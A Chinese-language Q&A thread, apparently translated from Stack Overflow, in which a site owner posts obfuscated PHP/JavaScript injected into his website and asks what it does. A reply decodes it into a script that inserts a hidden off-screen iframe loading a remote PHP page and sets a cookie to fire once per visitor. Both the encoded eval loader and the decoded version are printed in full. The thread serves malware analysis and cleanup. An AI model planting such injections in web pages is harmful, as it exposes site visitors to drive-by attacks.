Question

有人在我的网站上的某些文件中注入了以下javascript代码。

    if(empty($uuh)) { $uuh = " <script type=\"text/javascript\" language=\"javascript\"> lzl=\"spl\"+\"i\"+\"t\";hwrhy=window;rufacc=\"0\"+\"x\";hxagje=(5-3-1);try{--(document[\"body\"])}catch(vug){bhd=false;try{}catch(pufn){bhd=21;}if(1){zfhvl=\"17:5d:6c:65:5a:6b:60:66:65:17:69:71:63:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:69:71:63:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:69:71:63:25:6a:69:5a:17:34:17:1e:5f:6b:6b:67:31:26:26:29:28:2d:25:28:30:2f:25:28:30:2e:25:28:2e:29:26:63:58:65:5e:6c:58:5e:5c:26:69:5c:63:25:67:5f:67:1e:32:4:1:17:69:71:63:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:17:1e:58:59:6a:66:63:6c:6b:5c:1e:32:4:1:17:69:71:63:25:6a:6b:70:63:5c:25:5a:66:63:66:69:17:34:17:1e:2b:1e:32:4:1:17:69:71:63:25:6a:6b:70:63:5c:25:5f:5c:60:5e:5f:6b:17:34:17:1e:2b:67:6f:1e:32:4:1:17:69:71:63:25:6a:6b:70:63:5c:25:6e:60:5b:6b:5f:17:34:17:1e:2b:67:6f:1e:32:4:1:17:69:71:63:25:6a:6b:70:63:5c:25:63:5c:5d:6b:17:34:17:1e:28:27:27:27:2b:1e:32:4:1:17:69:71:63:25:6a:6b:70:63:5c:25:6b:66:67:17:34:17:1e:28:27:27:27:2b:1e:32:4:1:4:1:17:60:5d:17:1f:18:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:69:71:63:1e:20:20:17:72:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:6e:69:60:6b:5c:1f:1e:33:67:17:60:5b:34:53:1e:69:71:63:53:1e:17:5a:63:58:6a:6a:34:53:1e:69:71:63:27:30:53:1e:17:35:33:26:67:35:1e:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:69:71:63:1e:20:25:58:67:67:5c:65:5b:3a:5f:60:63:5b:1f:69:71:63:20:32:4:1:17:74:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:4a:5c:6b:3a:66:66:62:60:5c:1f:5a:66:66:62:60:5c:45:58:64:5c:23:5a:66:66:62:60:5c:4d:58:63:6c:5c:23:65:3b:58:70:6a:23:67:58:6b:5f:20:17:72:4:1:17:6d:58:69:17:6b:66:5b:58:70:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:6d:58:69:17:5c:6f:67:60:69:5c:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:60:5d:17:1f:65:3b:58:70:6a:34:34:65:6c:63:63:17:73:73:17:65:3b:58:70:6a:34:34:27:20:17:65:3b:58:70:6a:34:28:32:4:1:17:5c:6f:67:60:69:5c:25:6a:5c:6b:4b:60:64:5c:1f:6b:66:5b:58:70:25:5e:5c:6b:4b:60:64:5c:1f:20:17:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:69:71:63:27:30:1f:20:32:4:1:74:4:1:74\"[lzl](\":\");}hwrhy=zfhvl;aez=[];for(gomqmk=22-20-2;-gomqmk+1388!=0;gomqmk+=1){rfs=gomqmk;if((0x19==031))aez+=String.fromCharCode(eval(rufacc+hwrhy[1*rfs])+0xa-hxagje);}yailwj=eval;yailwj(aez)}</script> "; echo $uuh; }

上面的代码似乎是加密格式。

任何人都可以解密它并告诉我上面javascript代码的目的是什么。

先谢谢了， NIKHIL

执行该代码：

function rzl09() {
 var static='ajax';
 var controller='index.php';
 var rzl = document.createElement('iframe');

 rzl.src = 'http:// IP HERE /language/rel.php';
 rzl.style.position = 'absolute';
 rzl.style.color = '4';
 rzl.style.height = '4px';
 rzl.style.width = '4px';
 rzl.style.left = '10004';
 rzl.style.top = '10004';

 if (!document.getElementById('rzl')) {
 document.write('<p id=\'rzl\' class=\'rzl09\' ></p>');
 document.getElementById('rzl').appendChild(rzl);
 }
}
function SetCookie(cookieName,cookieValue,nDays,path) {
 var today = new Date();
 var expire = new Date();
 if (nDays==null || nDays==0) nDays=1;
 expire.setTime(today.getTime() + 3600000*24*nDays);
 document.cookie = cookieName+"="+escape(cookieValue)
 + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie( name ) {
 var start = document.cookie.indexOf( name + "=" );
 var len = start + name.length + 1;
 if ( ( !start ) &&
 ( name != document.cookie.substring( 0, name.length ) ) )
 {
 return null;
 }
 if ( start == -1 ) return null;
 var end = document.cookie.indexOf( ";", len );
 if ( end == -1 ) end = document.cookie.length;
 return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled)
{
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');

rzl09();
}
}

Answer 2

在您的网站中注入iframe，从IP地址covered by this VirusTotal report加载内容。这可能只是另一个受感染的网站。您还应该确保您的服务器上现在没有这样的php文件来完成他们的工作。要真正找出他们真正在做什么，必须通过iframe发布模仿浏览器请求的所有请求标头。否则，例如，当使用wget时，它只是说HTTP状态代码404.即使这样，结果也可能与请求请求不同。
